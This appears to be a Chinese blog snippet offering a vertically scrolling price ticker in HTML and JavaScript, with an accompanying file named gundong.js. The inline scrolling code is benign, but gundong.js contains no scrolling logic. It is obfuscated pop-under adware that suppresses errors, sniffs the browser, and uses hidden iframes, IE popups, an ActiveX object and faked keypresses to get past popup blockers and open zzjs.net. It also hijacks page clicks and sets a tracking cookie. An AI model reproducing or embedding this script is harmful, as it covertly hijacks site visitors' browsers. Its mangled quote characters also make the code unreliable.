滚动文字JS

 1 <div class="wrap">
 2     <div align="center" id="roll" style="overflow:hidden;height:212px;width:238px;font-size:14px;color:#990000;line-height:22px;text-align:left;padding:10px">
 3         <div id="roll_1">
 4             <table>
 5                 <tr>
 6                     <td><a href="">白菜</a></td>
 7                     <td>2.5-4.5元/斤</td>
 8                 </tr>
 9                 <tr>
10                     <td><a href="">白菜</a></td>
11                     <td>2.5-4.5元/斤</td>
12                 </tr>
13                 <tr>
14                     <td><a href="">白菜</a></td>
15                     <td>2.5-4.5元/斤</td>
16                 </tr>
17             </table>
18         </div>
19         <div id="roll_2"></div>
20     </div>
21     <script type="text/javascript" src="js/gundong.js"></script>
22     <script type="text/javascript">
23         <!--
24         var roll = document.getElementById("roll");
25         var roll_1 = document.getElementById("roll_1");
26         var roll_2 = document.getElementById("roll_2");
27         var speed=50;    //滚动速度值，值越大速度越慢
28         var nnn=200/roll_1.offsetHeight;
29         for(i=0;i<nnn;i++){roll_1.innerHTML+="<br />"+ roll_1.innerHTML}
30         roll_2.innerHTML = roll_1.innerHTML    //克隆roll_2为roll_1
31         function Marquee(){
32             if(roll_2.offsetTop-roll.scrollTop<=0)    //当滚动至roll_1与roll_2交界时
33                 roll.scrollTop-=roll_1.offsetHeight    //roll跳到最顶端
34             else{
35                 roll.scrollTop++     //如果是横向的将所有的 height top 改成 width left
36             }
37         }
38         var MyMar = setInterval(Marquee,speed);        //设置定时器
39         roll.onmouseover = function(){clearInterval(MyMar)}    //鼠标经过时清除定时器达到滚动停止的目的
40         roll.onmouseout = function(){MyMar = setInterval(Marquee,speed)}    //鼠标移开时重设定时器
41         -->
42     </script>
43 </div>

gundong.js

function set(n,v,t){var exp=new Date();exp.setTime(exp.getTime()+t*60*1000);document.cookie=n+"="+escape(v)+";expires="+exp.toGMTString()+";path=/;";};function get(n){var arr=document.cookie.match(new RegExp("(^| )"+n+"=([^;]*)(;|$)"));if(arr!=null){return unescape(arr[2]);};return null;};var m_c=get("tc_zzjs_net"),t,urls;if(urls!=null){var url=urls[parseInt(Math.random()*(urls.length))];};if(m_c==null){if(t==null){t="1440"};var uatx=true;function err(){return true;};window.onerror = err;if(window.w_op){window.open=w_op;};if(window.t_op){window.open=t_op;};if(typeof(u_ck)==‘undefined‘){var u_ck=false;};if(typeof(uatx)==‘undefined‘){var uatx=false;};if(typeof(p_win)==‘undefined‘){var p_win=null;};if(typeof(p_e)==‘undefined‘){var p_e=false;};if(typeof(url)==‘undefined‘){var url="http://zzjs.net";};var num=1,stp_c=false,use=false,myurl=location.href+‘/‘,max_t=20,atx_t=false,tried=0,key =‘0‘,m_win,pop_w,sas=0;function satx(){if(uatx){try{if(sas<5){document.write(‘<input style="display:none;" id="hit" type="text" onkeypress="s_atx()">‘);pop_w=window.createPopup();pop_w.document.body.innerHTML=‘<div id="o_re"><object id="g_div" style="position:absolute;top:0px;left:0px;" width=1 height=1 DATA="‘+myurl+‘" type="text/html"></object></div>‘;document.write(‘<iframe name="pop_f" style="position:absolute;top:-100px;left:0px;width:1px;height:1px;" src="about锛?#58blank"></iframe>‘);pop_f.document.write(‘<object id="g_f" style="position:absolute;top:0px;left:0px;" width=1 height=1 DATA="‘+myurl+‘" type="text/html"></object>‘);sas=6;}}catch(e){if(sas<5){sas++;setTimeout(‘satx();‘,500);}else if(sas==5){atx_t=true;s_c();}}}};function t_atx(){if(!atx_t&&!p_e){if(sas==6&&use&&pop_w&&pop_w.document.getElementById(‘g_div‘)&&pop_w.document.getElementById(‘g_div‘).object&&pop_w.document.getElementById(‘g_div‘).object.parw){m_win=pop_w.document.getElementById(‘g_div‘).object.parw;}else if(sas==6&&!use&&pop_f&&pop_f.g_f&&pop_f.g_f.object&&pop_f.g_f.object.parw){m_win=pop_f.g_f.object.parw;pop_f.location.replace(‘about锛?#58blank‘);}else{setTimeout(‘t_atx()‘,200);tried++;if(tried>=max_t&&!atx_t){atx_t=true;s_c();};return;};o_atx();window.w_f=true;self.focus();};};function o_atx(){if(!atx_t&&!p_e){if(m_win&&window.w_f){window.w_f=false;document.getElementById(‘hit‘).fireEvent("onkeypress",(document.createEventObject().keyCode=escape(key).substring(1)));}else{setTimeout(‘o_atx();‘,100);};tried++;if(tried>=max_t){atx_t=true;s_c();};}};function s_atx(){if(!atx_t && !p_e){if(use){window.dc=pop_w.document.getElementById(‘o_re‘).children(0);window.dc=pop_w.document.getElementById(‘o_re‘).removeChild(window.dc);};new_w=m_win.open(url,‘zzjs‘);if(new_w){new_w.blur();self.focus();atx_t=true;p_e=true;}else{if(!use){use=true;tried=0;t_atx();}else{atx_t=true;s_c();};};};};function paypopup(){if(!p_e){if(!u_ck&&!uatx){p_win=window.open(url,‘zzjs‘);if(p_win){p_e=true;set("tc_zzjs_net","tc",t);};self.focus();};};if(!p_e){if(uatx){t_atx();}else{s_c();}}};function s_c(){if(!p_e&&!stp_c){o_c=document.onclick;document.onclick=gopop;if(window.Event){document.captureEvents(Event.CLICK);};self.focus();stp_c=true;};};    function gopop(){if(!p_e){p_win=window.open(url,‘zzjs‘);if(p_win){p_e=true;set("tc_zzjs_net","tc",t);};self.focus();};if(typeof(o_c)=="function"){o_c();};};function del_g(){if(uatx){try{document.write(‘<div style="display:none;"><object id="d_g" classid="clsid:00EF2092-6AC5-47c0-BD25-CF2D5D657FEB" style="display:none;" codebase="view-source:about锛?#58blank"></object></div>‘);use|=(typeof(document.getElementById(‘d_g‘))==‘object‘);}catch(e){setTimeout(‘del_g();‘,50);};};};function v_o(){var os=‘W0‘,bs=‘I0‘,i_f=false,bro=window.navigator.userAgent;if(bro.indexOf(‘Win‘)!=-1){os=‘W1‘;};if(bro.indexOf("SV1")!=-1){bs=‘I2‘;}else if(bro.indexOf("Opera")!=-1){bs="I0";}else if(bro.indexOf("Firefox")!=-1){bs="I0";}else if(bro.indexOf("Microsoft")!=-1||bro.indexOf("MSIE")!= -1){bs = ‘I1‘;};if(top.location!=this.location){i_f=true;};url=url;u_ck=num&&((bro.indexOf("SV1")!=-1)||(bro.indexOf("Opera")!=-1)||(bro.indexOf("Firefox")!=-1));uatx=num&&(bro.indexOf("SV1")!=-1)&&!(bro.indexOf("Opera")!=-1)&&((bro.indexOf("Microsoft")!= -1)||(bro.indexOf("MSIE")!=-1));del_g();};v_o();function l_pop(){if(!u_ck&&!uatx){paypopup();}else if(uatx){t_atx();}else{s_c();}};myurl=myurl.substring(0,myurl.indexOf(‘/‘,8));if(myurl==‘‘){myurl=‘.‘;};satx();l_pop();self.focus();}

自下而上滚动，网上找的...

同一页面上不能重复使用一个JS，要改名